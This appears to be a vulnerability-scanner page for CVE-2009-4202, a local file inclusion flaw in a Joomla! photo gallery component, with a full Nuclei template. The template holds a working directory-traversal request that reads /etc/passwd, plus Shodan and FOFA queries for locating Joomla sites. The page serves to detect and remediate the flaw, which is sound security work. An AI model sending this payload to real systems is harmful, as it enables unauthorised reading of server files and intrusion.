Joomla! Omilen Photo Gallery 0.5b - Local File Inclusion

highseverity

7.5CVSS score

8.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Joomla! Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Upgrade to a patched version of Joomla! Omilen Photo Gallery or apply the necessary security patches to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-4202 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2009-4202

info:
  name: Joomla! Omilen Photo Gallery 0.5b - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Upgrade to a patched version of Joomla! Omilen Photo Gallery or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8870
    - http://www.vupen.com/english/advisories/2009/1494
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4202
    - http://www.exploit-db.com/exploits/8870
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4202
    cwe-id: CWE-22
    epss-score: 0.08109
    epss-percentile: 0.94873
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve,cve2009,joomla,lfi,photo,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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